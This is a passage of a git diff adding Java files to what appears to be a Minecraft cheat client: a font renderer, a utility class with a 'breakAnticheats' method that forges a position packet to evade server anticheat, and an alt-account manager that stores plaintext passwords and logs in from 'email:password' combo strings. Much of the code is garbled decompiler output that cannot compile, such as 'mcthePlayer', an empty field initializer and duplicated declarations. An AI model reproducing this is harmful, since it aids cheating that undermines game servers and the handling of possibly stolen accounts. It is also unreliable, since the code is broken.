+  protected CFont.CharData[] boldItalicChars = new CFont.CharData['Ā'];
+  
+  private final int[] colorCode = new int[32];
+  private final String colorcodeIdentifiers = "0123456789abcdefklmnor";
+  protected DynamicTexture texBold;
+  protected DynamicTexture texItalic;
+  protected DynamicTexture texItalicBold;
+  
+  public CFontRenderer(Font font, boolean antiAlias, boolean fractionalMetrics) {
+    super(font, antiAlias, fractionalMetrics);
+    setupMinecraftColorcodes();
+    setupBoldItalicIDs();
+  }
+  
+  public float drawStringWithShadow(String text, double x, double y, int color) {
+    float shadowWidth = drawString(text, x + 0.5D, y + 0.5D, color, true);
+    return Math.max(shadowWidth, drawString(text, x, y, color, false));
+  }
+  
+  public float drawString(String text, float x, float y, int color) {
+    return drawString(text, x, y, color, false);
+  }
+  
+  public float drawCenteredString(String text, float x, float y, int color) {
+    return drawString(text, x - getStringWidth(text) / 2, y, color);
+  }
+  
+  public float drawCenteredStringWithShadow(String text, float x, float y, int color) {
+    return drawStringWithShadow(text, x - getStringWidth(text) / 2, y, color);
+  }
+  
+  public float drawCenteredStringWithShadow(String text, double x, double y, int color) {
+    return drawStringWithShadow(text, x - getStringWidth(text) / 2, y, color);
+  }
+  
+  public float drawString(String text, double x, double y, int color, boolean shadow) {
+    x -= 1.0D;
+    
+    if (text == null) {
+      return 0.0F;
+    }
+    
+    if (color == 553648127) {
+      color = 16777215;
+    }
+    
+    if ((color & 0xFC000000) == 0) {
+      color |= 0xFF000000;
+    }
+    
+    if (shadow) {
+      color = (color & 0xFCFCFC) >> 2 | color & 0xFF000000;
+    }
+    
+    CFont.CharData[] currentData = charData;
+    float alpha = (color >> 24 & 0xFF) / 255.0F;
+    boolean randomCase = false;
+    boolean bold = false;
+    boolean italic = false;
+    boolean strikethrough = false;
+    boolean underline = false;
+    boolean render = true;
+    x *= 2.0D;
+    y = (y - 3.0D) * 2.0D;
+    
+    if (render) {
+      GL11.glPushMatrix();
+      GlStateManager.scale(0.5D, 0.5D, 0.5D);
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.color((color >> 16 & 0xFF) / 255.0F, (color >> 8 & 0xFF) / 255.0F, 
+        (color & 0xFF) / 255.0F, alpha);
+      int size = text.length();
+      GlStateManager.enableTexture2D();
+      GlStateManager.func_179144_i(tex.getGlTextureId());
+      
+      GL11.glBindTexture(3553, tex.getGlTextureId());
+      
+      for (int i = 0; i < size; i++) {
+        char character = text.charAt(i);
+        
+        if ((character == '§') && (i < size)) {
+          int colorIndex = 21;
+          try
+          {
+            colorIndex = "0123456789abcdefklmnor".indexOf(text.charAt(i + 1));
+          } catch (Exception e) {
+            e.printStackTrace();
+          }
+          
+          if (colorIndex < 16) {
+            bold = false;
+            italic = false;
+            randomCase = false;
+            underline = false;
+            strikethrough = false;
+            GlStateManager.func_179144_i(tex.getGlTextureId());
+            currentData = charData;
+            
+            if ((colorIndex < 0) || (colorIndex > 15)) {
+              colorIndex = 15;
+            }
+            
+            if (shadow) {
+              colorIndex += 16;
+            }
+            
+            int colorcode = colorCode[colorIndex];
+            GlStateManager.color((colorcode >> 16 & 0xFF) / 255.0F, (colorcode >> 8 & 0xFF) / 255.0F, 
+              (colorcode & 0xFF) / 255.0F, alpha);
+          } else if (colorIndex == 16) {
+            randomCase = true;
+          } else if (colorIndex == 17) {
+            bold = true;
+            
+            if (italic) {
+              GlStateManager.func_179144_i(texItalicBold.getGlTextureId());
+              currentData = boldItalicChars;
+            } else {
+              GlStateManager.func_179144_i(texBold.getGlTextureId());
+              currentData = boldChars;
+            }
+          } else if (colorIndex == 18) {
+            strikethrough = true;
+          } else if (colorIndex == 19) {
+            underline = true;
+          } else if (colorIndex == 20) {
+            italic = true;
+            
+            if (bold) {
+              GlStateManager.func_179144_i(texItalicBold.getGlTextureId());
+              currentData = boldItalicChars;
+            } else {
+              GlStateManager.func_179144_i(texItalic.getGlTextureId());
+              currentData = italicChars;
+            }
+          } else if (colorIndex == 21) {
+            bold = false;
+            italic = false;
+            randomCase = false;
+            underline = false;
+            strikethrough = false;
+            GlStateManager.color((color >> 16 & 0xFF) / 255.0F, (color >> 8 & 0xFF) / 255.0F, 
+              (color & 0xFF) / 255.0F, alpha);
+            GlStateManager.func_179144_i(tex.getGlTextureId());
+            currentData = charData;
+          }
+          
+          i++;
+        } else if ((character < currentData.length) && (character >= 0)) {
+          GL11.glBegin(4);
+          drawChar(currentData, character, (float)x, (float)y);
+          GL11.glEnd();
+          
+          if (strikethrough) {
+            drawLine(x, y + height / 2, x + width - 8.0D, 
+              y + height / 2, 1.0F);
+          }
+          
+          if (underline) {
+            drawLine(x, y + height - 2.0D, 
+              x + width - 8.0D, y + height - 2.0D, 
+              1.0F);
+          }
+          
+          x += width - 8 + charOffset;
+        }
+      }
+      
+      GL11.glHint(3155, 4352);
+      GL11.glPopMatrix();
+    }
+    
+    return (float)x / 2.0F;
+  }
+  
+  public int getStringWidth(String text) {
+    if (text == null)
+      return 0;
+    int width = 0;
+    CFont.CharData[] currentData = charData;
+    boolean bold = false;
+    boolean italic = false;
+    int size = text.length();
+    
+    for (int i = 0; i < size; i++) {
+      char character = text.charAt(i);
+      if ((character == '§') && (i < size)) {
+        int colorIndex = "0123456789abcdefklmnor".indexOf(character);
+        if (colorIndex < 16) {
+          bold = false;
+          italic = false;
+        } else if (colorIndex == 17) {
+          bold = true;
+          if (italic) {
+            currentData = boldItalicChars;
+          } else
+            currentData = boldChars;
+        } else if (colorIndex == 20) {
+          italic = true;
+          if (bold) {
+            currentData = boldItalicChars;
+          } else
+            currentData = italicChars;
+        } else if (colorIndex == 21) {
+          bold = false;
+          italic = false;
+          currentData = charData;
+        }
+        i++;
+      } else if ((character < currentData.length) && (character >= 0)) {
+        width += width - 8 + charOffset;
+      }
+    }
+    
+    return width / 2;
+  }
+  
+  public void setFont(Font font) {
+    super.setFont(font);
+    setupBoldItalicIDs();
+  }
+  
+  public void setAntiAlias(boolean antiAlias) {
+    super.setAntiAlias(antiAlias);
+    setupBoldItalicIDs();
+  }
+  
+  public void setFractionalMetrics(boolean fractionalMetrics) {
+    super.setFractionalMetrics(fractionalMetrics);
+    setupBoldItalicIDs();
+  }
+  
+  private void setupBoldItalicIDs() {
+    texBold = setupTexture(font.deriveFont(1), antiAlias, fractionalMetrics, boldChars);
+    texItalic = setupTexture(font.deriveFont(2), antiAlias, fractionalMetrics, italicChars);
+  }
+  
+  private void drawLine(double x, double y, double x1, double y1, float width)
+  {
+    GL11.glDisable(3553);
+    GL11.glLineWidth(width);
+    GL11.glBegin(1);
+    GL11.glVertex2d(x, y);
+    GL11.glVertex2d(x1, y1);
+    GL11.glEnd();
+    GL11.glEnable(3553);
+  }
+  
+  public List<String> wrapWords(String text, double width) {
+    List finalWords = new ArrayList();
+    if (getStringWidth(text) > width) {
+      String[] words = text.split(" ");
+      String currentWord = "";
+      char lastColorCode = 65535;
+      
+      for (String word : words) {
+        for (int i = 0; i < word.toCharArray().length; i++) {
+          char c = word.toCharArray()[i];
+          
+          if ((c == '§') && (i < word.toCharArray().length - 1)) {
+            lastColorCode = word.toCharArray()[(i + 1)];
+          }
+        }
+        if (getStringWidth(currentWord + word + " ") < width) {
+          currentWord = currentWord + word + " ";
+        } else {
+          finalWords.add(currentWord);
+          currentWord = '§' + lastColorCode + word + " ";
+        }
+      }
+      if (currentWord.length() > 0)
+        if (getStringWidth(currentWord) < width) {
+          finalWords.add('§' + lastColorCode + currentWord + " ");
+          currentWord = "";
+        } else {
+          for (String s : formatString(currentWord, width))
+            finalWords.add(s);
+        }
+    } else {
+      finalWords.add(text);
+    }
+    
+    return finalWords;
+  }
+  
+  public List<String> formatString(String string, double width) {
+    List finalWords = new ArrayList();
+    String currentWord = "";
+    char lastColorCode = 65535;
+    char[] chars = string.toCharArray();
+    for (int i = 0; i < chars.length; i++) {
+      char c = chars[i];
+      
+      if ((c == '§') && (i < chars.length - 1)) {
+        lastColorCode = chars[(i + 1)];
+      }
+      
+      if (getStringWidth(currentWord + c) < width) {
+        currentWord = currentWord + c;
+      } else {
+        finalWords.add(currentWord);
+        currentWord = '§' + lastColorCode + String.valueOf(c);
+      }
+    }
+    
+    if (currentWord.length() > 0) {
+      finalWords.add(currentWord);
+    }
+    
+    return finalWords;
+  }
+  
+  private void setupMinecraftColorcodes() {
+    for (int index = 0; index < 32; index++) {
+      int noClue = (index >> 3 & 0x1) * 85;
+      int red = (index >> 2 & 0x1) * 170 + noClue;
+      int green = (index >> 1 & 0x1) * 170 + noClue;
+      int blue = (index >> 0 & 0x1) * 170 + noClue;
+      
+      if (index == 6) {
+        red += 85;
+      }
+      
+      if (index >= 16) {
+        red /= 4;
+        green /= 4;
+        blue /= 4;
+      }
+      
+      colorCode[index] = ((red & 0xFF) << 16 | (green & 0xFF) << 8 | blue & 0xFF);
+    }
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/font/FontLoaders.java b/src/minecraft/com/enjoytheban/ui/font/FontLoaders.java
new file mode 100644
index 0000000..4de62e1
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/font/FontLoaders.java
@@ -0,0 +1,33 @@
+package com.enjoytheban.ui.font;
+
+import java.awt.Font;
+import java.io.InputStream;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.util.ResourceLocation;
+
+public abstract class FontLoaders
+{
+  public static CFontRenderer kiona16 = new CFontRenderer(getKiona(16), true, true);
+  public static CFontRenderer kiona18 = new CFontRenderer(getKiona(18), true, true);
+  public static CFontRenderer kiona20 = new CFontRenderer(getKiona(20), true, true);
+  public static CFontRenderer kiona22 = new CFontRenderer(getKiona(22), true, true);
+  public static CFontRenderer kiona24 = new CFontRenderer(getKiona(24), true, true);
+  public static CFontRenderer kiona26 = new CFontRenderer(getKiona(26), true, true);
+  public static CFontRenderer kiona28 = new CFontRenderer(getKiona(28), true, true);
+  
+  public FontLoaders() {}
+  
+  private static Font getKiona(int size) { Font font;
+    try { InputStream is = Minecraft.getMinecraft().getResourceManager()
+        .getResource(new ResourceLocation("ETB/raleway.ttf")).getInputStream();
+      Font font = Font.createFont(0, is);
+      font = font.deriveFont(0, size);
+    } catch (Exception ex) {
+      ex.printStackTrace();
+      System.out.println("Error loading font");
+      font = new Font("default", 0, size);
+    }
+    return font;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/font/Utils.java b/src/minecraft/com/enjoytheban/ui/font/Utils.java
new file mode 100644
index 0000000..b8e2e1d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/font/Utils.java
@@ -0,0 +1,108 @@
+package com.enjoytheban.ui.font;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.inventory.Container;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition;
+
+public class Utils
+{
+  public Utils() {}
+  
+  public static boolean fuck = true;
+  private static Minecraft mc = Minecraft.getMinecraft();
+  
+  public static boolean isContainerEmpty(Container container) {
+    int i = 0; for (int slotAmount = inventorySlots.size() == 90 ? 54 : 27; i < slotAmount; i++) {
+      if (container.getSlot(i).getHasStack()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public static Minecraft getMinecraft() {
+    return mc;
+  }
+  
+  public static boolean canBlock() {
+    if (mc == null) {
+      mc = Minecraft.getMinecraft();
+    }
+    if (mcthePlayer.getHeldItem() == null)
+      return false;
+    if ((mcthePlayer.isBlocking()) || ((mcthePlayer.isUsingItem()) && ((mcthePlayer.getCurrentEquippedItem().getItem() instanceof ItemSword))))
+      return true;
+    if (((mcthePlayer.getHeldItem().getItem() instanceof ItemSword)) && (getMinecraftgameSettings.keyBindUseItem.isPressed())) {
+      return true;
+    }
+    return false;
+  }
+  
+  public static String getMD5(String input) {
+    StringBuilder res = new StringBuilder();
+    try {
+      MessageDigest algorithm = MessageDigest.getInstance("MD5");
+      algorithm.reset();
+      algorithm.update(input.getBytes());
+      byte[] md5 = algorithm.digest();
+      
+      for (byte aMd5 : md5) {
+        String tmp = Integer.toHexString(0xFF & aMd5);
+        if (tmp.length() == 1) {
+          res.append("0").append(tmp);
+        } else {
+          res.append(tmp);
+        }
+      }
+    }
+    catch (NoSuchAlgorithmException localNoSuchAlgorithmException) {}
+    return res.toString();
+  }
+  
+  public static void breakAnticheats() {
+    mcthePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mcthePlayer.posX + mcthePlayer.motionX, mcthePlayer.posY - 110.0D, mcthePlayer.posZ + mcthePlayer.motionZ, true));
+  }
+  
+  public static int add(int number, int add, int max) {
+    return number + add > max ? max : number + add;
+  }
+  
+  public static int remove(int number, int remove, int min) {
+    return number - remove < min ? min : number - remove;
+  }
+  
+  public static int check(int number) {
+    return number > 255 ? 255 : number <= 0 ? 1 : number;
+  }
+  
+  public static double getDist() {
+    double distance = 0.0D;
+    for (double i = mcthePlayer.posY; i > 0.0D; i -= 0.1D) {
+      if (i < 0.0D) {
+        break;
+      }
+      Block block = mctheWorld.getBlockState(new net.minecraft.util.BlockPos(mcthePlayer.posX, i, mcthePlayer.posZ)).getBlock();
+      if ((block.getMaterial() != net.minecraft.block.material.Material.air) && (block.isCollidable()) && ((block.isFullBlock()) || ((block instanceof BlockSlab)) || ((block instanceof net.minecraft.block.BlockBarrier)) || ((block instanceof net.minecraft.block.BlockStairs)) || 
+        ((block instanceof net.minecraft.block.BlockGlass)) || ((block instanceof net.minecraft.block.BlockStainedGlass))))
+      {
+        if ((block instanceof BlockSlab)) {
+          i -= 0.5D;
+        }
+        distance = i;
+        break;
+      }
+    }
+    return mcthePlayer.posY - distance;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/Alt.java b/src/minecraft/com/enjoytheban/ui/login/Alt.java
new file mode 100644
index 0000000..852209e
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/Alt.java
@@ -0,0 +1,43 @@
+package com.enjoytheban.ui.login;
+
+
+public class Alt
+{
+  private String mask = "";
+  private final String username;
+  private String password;
+  
+  public Alt(String username, String password)
+  {
+    this(username, password, "");
+  }
+  
+  public Alt(String username, String password, String mask)
+  {
+    this.username = username;
+    this.password = password;
+    this.mask = mask;
+  }
+  
+  public String getMask()
+  {
+    return mask;
+  }
+  
+  public String getPassword()
+  {
+    return password;
+  }
+  
+  public String getUsername()
+  {
+    return username;
+  }
+  
+  public void setMask(String mask)
+  {
+    this.mask = mask;
+  }
+  
+  public void setPassword(String password) { this.password = password; }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/AltLoginThread.java b/src/minecraft/com/enjoytheban/ui/login/AltLoginThread.java
new file mode 100644
index 0000000..d0d5280
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/AltLoginThread.java
@@ -0,0 +1,84 @@
+package com.enjoytheban.ui.login;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.FileManager;
+import com.mojang.authlib.Agent;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService;
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+import java.net.Proxy;
+import java.util.UUID;
+import net.minecraft.client.Minecraft;
+import net.minecraft.util.Session;
+
+
+public class AltLoginThread
+  extends Thread
+{
+  private final Minecraft mc = Minecraft.getMinecraft();
+  private final String password;
+  private String status;
+  private final String username;
+  
+  public AltLoginThread(String username, String password)
+  {
+    super("Alt Login Thread");
+    this.username = username;
+    this.password = password;
+    status = "§eWaiting...";
+  }
+  
+  private final Session createSession(String username, String password)
+  {
+    YggdrasilAuthenticationService service = new YggdrasilAuthenticationService(
+      Proxy.NO_PROXY, "");
+    YggdrasilUserAuthentication auth = (YggdrasilUserAuthentication)service
+      .createUserAuthentication(Agent.MINECRAFT);
+    auth.setUsername(username);
+    auth.setPassword(password);
+    try
+    {
+      auth.logIn();
+      return new Session(auth.getSelectedProfile().getName(), auth
+        .getSelectedProfile().getId().toString(), 
+        auth.getAuthenticatedToken(), "mojang");
+    }
+    catch (AuthenticationException localAuthenticationException) {}
+    return null;
+  }
+  
+  public String getStatus()
+  {
+    return status;
+  }
+  
+  public void run()
+  {
+    if (password.equals(""))
+    {
+      mc.session = new Session(username, "", "", "mojang");
+      status = ("§aLogged in. (" + username + " - offline name)");
+      return;
+    }
+    status = "§eLogging in...";
+    Session auth = createSession(username, password);
+    if (auth == null)
+    {
+      status = "§cLogin failed!";
+    }
+    else
+    {
+      Client.instance.getAltManager().setLastAlt(new Alt(username, password));
+      FileManager.saveLastAlt();
+      status = ("§aLogged in. (" + auth.getUsername() + ")");
+      mc.session = auth;
+    }
+  }
+  
+
+  public void setStatus(String status)
+  {
+    this.status = status;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/AltManager.java b/src/minecraft/com/enjoytheban/ui/login/AltManager.java
new file mode 100644
index 0000000..7b47671
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/AltManager.java
@@ -0,0 +1,34 @@
+package com.enjoytheban.ui.login;
+
+import java.util.List;
+
+public class AltManager {
+  static List<Alt> alts;
+  static Alt lastAlt;
+  
+  public AltManager() {}
+  
+  public static void init() {
+    setupAlts();
+    getAlts();
+  }
+  
+  public Alt getLastAlt() {
+    return lastAlt;
+  }
+  
+  public void setLastAlt(Alt alt)
+  {
+    lastAlt = alt;
+  }
+  
+  public static void setupAlts()
+  {
+    alts = new java.util.ArrayList();
+  }
+  
+  public static List<Alt> getAlts()
+  {
+    return alts;
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/GuiAddAlt.java b/src/minecraft/com/enjoytheban/ui/login/GuiAddAlt.java
new file mode 100644
index 0000000..20fc883
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/GuiAddAlt.java
@@ -0,0 +1,181 @@
+package com.enjoytheban.ui.login;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.FileManager;
+import com.enjoytheban.utils.Helper;
+import com.mojang.authlib.Agent;
+import com.mojang.authlib.exceptions.AuthenticationException;
+import com.mojang.authlib.yggdrasil.YggdrasilAuthenticationService;
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+import java.io.IOException;
+import java.net.Proxy;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiTextField;
+import org.lwjgl.input.Keyboard;
+
+
+
+public class GuiAddAlt
+  extends GuiScreen
+{
+  private final GuiAltManager manager;
+  private GuiPasswordField password;
+  
+  private class AddAltThread
+    extends Thread
+  {
+    private final String password;
+    private final String username;
+    
+    public AddAltThread(String username, String password)
+    {
+      this.username = username;
+      this.password = password;
+      status = "§7Waiting...";
+    }
+    
+    private final void checkAndAddAlt(String username, String password)
+    {
+      YggdrasilAuthenticationService service = new YggdrasilAuthenticationService(
+        Proxy.NO_PROXY, "");
+      YggdrasilUserAuthentication auth = (YggdrasilUserAuthentication)service
+        .createUserAuthentication(Agent.MINECRAFT);
+      auth.setUsername(username);
+      auth.setPassword(password);
+      try
+      {
+        auth.logIn();
+        Client.instance.getAltManager();AltManager.getAlts()
+          .add(new Alt(username, password));
+        FileManager.saveAlts();
+        status = ("§aAlt added. (" + username + ")");
+      }
+      catch (AuthenticationException e)
+      {
+        status = "§cAlt failed!";
+        e.printStackTrace();
+      }
+    }
+    
+    public void run()
+    {
+      if (password.equals(""))
+      {
+        Client.instance.getAltManager();AltManager.getAlts().add(new Alt(username, ""));
+        FileManager.saveAlts();
+        status = ("§aAlt added. (" + username + " - offline name)");
+        return;
+      }
+      status = "§eTrying alt...";
+      checkAndAddAlt(username, password);
+    }
+  }
+  
+  private String status = "§eWaiting...";
+  private GuiTextField username;
+  private GuiTextField combined;
+  
+  public GuiAddAlt(GuiAltManager manager)
+  {
+    this.manager = manager;
+  }
+  
+  protected void actionPerformed(GuiButton button)
+  {
+    switch (id) {
+    case 0:  AddAltThread login;
+      AddAltThread login;
+      if (combined.getText().isEmpty()) {
+        login = new AddAltThread(username.getText(), password.getText()); } else { AddAltThread login;
+        if ((!combined.getText().isEmpty()) && (combined.getText().contains(":"))) {
+          String u = combined.getText().split(":")[0];
+          String p = combined.getText().split(":")[1];
+          login = new AddAltThread(u.replaceAll(" ", ""), p.replaceAll(" ", ""));
+        }
+        else {
+          login = new AddAltThread(username.getText(), password.getText());
+        } }
+      login.start();
+      break;
+    case 1: 
+      mc.displayGuiScreen(manager);
+    }
+  }
+  
+  public void drawScreen(int i, int j, float f)
+  {
+    drawDefaultBackground();
+    
+
+    mcfontRendererObj.drawCenteredString("Add Alt", width / 2, 20, 
+      -1);
+    username.drawTextBox();
+    password.drawTextBox();
+    combined.drawTextBox();
+    if (username.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Username / E-Mail", width / 2 - 96, 
+        66.0F, -7829368);
+    }
+    if (password.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Password", width / 2 - 96, 106.0F, 
+        -7829368);
+    }
+    if (combined.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Email:Password", width / 2 - 96, 146.0F, -7829368);
+    }
+    mcfontRendererObj.drawCenteredString(status, width / 2, 30, -1);
+    
+    super.drawScreen(i, j, f);
+  }
+  
+  public void initGui()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonList.clear();
+    buttonList.add(new GuiButton(0, width / 2 - 100, 
+      height / 4 + 92 + 12, "Login"));
+    buttonList.add(new GuiButton(1, width / 2 - 100, 
+      height / 4 + 116 + 12, "Back"));
+    username = new GuiTextField(1, mc.fontRendererObj, width / 2 - 100, 60, 200, 
+      20);
+    password = new GuiPasswordField(mc.fontRendererObj, width / 2 - 100, 100, 
+      200, 20);
+    combined = new GuiTextField(eventButton, mc.fontRendererObj, width / 2 - 100, 140, 200, 20);
+    combined.setMaxStringLength(200);
+  }
+  
+  protected void keyTyped(char par1, int par2)
+  {
+    username.textboxKeyTyped(par1, par2);
+    password.textboxKeyTyped(par1, par2);
+    combined.textboxKeyTyped(par1, par2);
+    if ((par1 == '\t') && ((username.isFocused()) || (combined.isFocused()) || (password.isFocused())))
+    {
+      username.setFocused(!username.isFocused());
+      password.setFocused(!password.isFocused());
+      combined.setFocused(!combined.isFocused());
+    }
+    if (par1 == '\r') {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+  }
+  
+  protected void mouseClicked(int par1, int par2, int par3)
+  {
+    try
+    {
+      super.mouseClicked(par1, par2, par3);
+    }
+    catch (IOException e)
+    {
+      e.printStackTrace();
+    }
+    username.mouseClicked(par1, par2, par3);
+    password.mouseClicked(par1, par2, par3);
+    combined.mouseClicked(par1, par2, par3);
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/GuiAltLogin.java b/src/minecraft/com/enjoytheban/ui/login/GuiAltLogin.java
new file mode 100644
index 0000000..efe1e5d
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/GuiAltLogin.java
@@ -0,0 +1,123 @@
+package com.enjoytheban.ui.login;
+
+import com.enjoytheban.utils.Helper;
+import java.io.IOException;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.GuiTextField;
+
+public class GuiAltLogin extends GuiScreen
+{
+  private GuiPasswordField password;
+  private final GuiScreen previousScreen;
+  private AltLoginThread thread;
+  private GuiTextField username;
+  private GuiTextField combined;
+  
+  public GuiAltLogin(GuiScreen previousScreen)
+  {
+    this.previousScreen = previousScreen;
+  }
+  
+  protected void actionPerformed(GuiButton button) {
+    switch (id) {
+    case 1: 
+      mc.displayGuiScreen(previousScreen);
+      break;
+    case 0: 
+      if (combined.getText().isEmpty()) {
+        thread = new AltLoginThread(username.getText(), password.getText());
+      } else if ((!combined.getText().isEmpty()) && (combined.getText().contains(":"))) {
+        String u = combined.getText().split(":")[0];
+        String p = combined.getText().split(":")[1];
+        thread = new AltLoginThread(u.replaceAll(" ", ""), p.replaceAll(" ", ""));
+      } else {
+        thread = new AltLoginThread(username.getText(), password.getText()); }
+      thread.start();
+    }
+  }
+  
+  public void drawScreen(int x, int y, float z) {
+    drawDefaultBackground();
+    username.drawTextBox();
+    password.drawTextBox();
+    combined.drawTextBox();
+    mcfontRendererObj.drawCenteredString("Alt Login", width / 2, 20, 
+      -1);
+    mcfontRendererObj.drawCenteredString(thread == null ? "§eWaiting..." : 
+      thread.getStatus(), width / 2, 29, -1);
+    if (username.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Username / E-Mail", width / 2 - 96, 
+        66.0F, -7829368);
+    }
+    if (password.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Password", width / 2 - 96, 106.0F, 
+        -7829368);
+    }
+    if (combined.getText().isEmpty()) {
+      mcfontRendererObj.drawStringWithShadow("Email:Password", width / 2 - 96, 146.0F, -7829368);
+    }
+    super.drawScreen(x, y, z);
+  }
+  
+  public void initGui() {
+    int var3 = height / 4 + 24;
+    buttonList.add(new GuiButton(0, width / 2 - 100, var3 + 72 + 12, "Login"));
+    buttonList.add(new GuiButton(1, width / 2 - 100, var3 + 72 + 12 + 24, "Back"));
+    username = new GuiTextField(1, mc.fontRendererObj, width / 2 - 100, 60, 200, 20);
+    password = new GuiPasswordField(mc.fontRendererObj, width / 2 - 100, 100, 200, 20);
+    combined = new GuiTextField(var3, mc.fontRendererObj, width / 2 - 100, 140, 200, 20);
+    username.setFocused(true);
+    username.setMaxStringLength(200);
+    password.func_146203_f(200);
+    combined.setMaxStringLength(200);
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+  }
+  
+  protected void keyTyped(char character, int key)
+  {
+    try
+    {
+      super.keyTyped(character, key);
+    }
+    catch (IOException e)
+    {
+      e.printStackTrace();
+    }
+    if ((character == '\t') && ((username.isFocused()) || (combined.isFocused()) || (password.isFocused())))
+    {
+      username.setFocused(!username.isFocused());
+      password.setFocused(!password.isFocused());
+      combined.setFocused(!combined.isFocused());
+    }
+    if (character == '\r') {
+      actionPerformed((GuiButton)buttonList.get(0));
+    }
+    username.textboxKeyTyped(character, key);
+    password.textboxKeyTyped(character, key);
+    combined.textboxKeyTyped(character, key);
+  }
+  
+  protected void mouseClicked(int x, int y, int button) {
+    try {
+      super.mouseClicked(x, y, button);
+    } catch (IOException e) {
+      e.printStackTrace();
+    }
+    username.mouseClicked(x, y, button);
+    password.mouseClicked(x, y, button);
+    combined.mouseClicked(x, y, button);
+  }
+  
+  public void onGuiClosed() {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void updateScreen() {
+    username.updateCursorCounter();
+    password.updateCursorCounter();
+    combined.updateCursorCounter();
+  }
+}
diff --git a/src/minecraft/com/enjoytheban/ui/login/GuiAltManager.java b/src/minecraft/com/enjoytheban/ui/login/GuiAltManager.java
new file mode 100644
index 0000000..09364af
--- /dev/null
+++ b/src/minecraft/com/enjoytheban/ui/login/GuiAltManager.java
@@ -0,0 +1,323 @@
+package com.enjoytheban.ui.login;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.FileManager;
+import com.enjoytheban.utils.Helper;
+import com.enjoytheban.utils.render.RenderUtil;
+import java.io.IOException;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.util.Session;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.input.Mouse;
+import org.lwjgl.opengl.GL11;
+
+public class GuiAltManager extends GuiScreen
+{
+  private static Minecraft mc = ;
+  private GuiButton login;
+  private GuiButton remove;
+  private GuiButton rename;
+  private AltLoginThread loginThread;
+  private int offset;
+  public Alt selectedAlt = null;
+  private String status = "§eWaiting...";
+  
+
+
+  public GuiAltManager()
+  {
+    FileManager.saveAlts();
+  }
+  
+  public void actionPerformed(GuiButton button)
+  {
+    switch (id)
+    {
+    case 0: 
+      if (loginThread == null)
+      {
+        mc.displayGuiScreen(null);
+
+
+      }
+      else if ((!loginThread.getStatus().equals("Logging in...")) && 
+        (!loginThread.getStatus().equals("Do not hit back! Logging in...")))
+      {
+        mc.displayGuiScreen(null);
+      }
+      else
+      {
+        loginThread.setStatus("Do not hit back! Logging in...");
+      }
+      break;
+    case 1: 
+      String user = selectedAlt.getUsername();
+      String pass = selectedAlt.getPassword();
+      loginThread = new AltLoginThread(user, pass);
+      loginThread.start();
+      break;
+    case 2: 
+      if (loginThread != null) {
+        loginThread = null;
+      }
+      Client.instance.getAltManager();AltManager.getAlts().remove(selectedAlt);
+      status = "§cRemoved.";
+      selectedAlt = null;
+      FileManager.saveAlts();
+      break;
+    case 3: 
+      mc.displayGuiScreen(new GuiAddAlt(this));
+      break;
+    case 4: 
+      mc.displayGuiScreen(new GuiAltLogin(this));
+      break;
+    case 5: 
+      Client.instance.getAltManager();
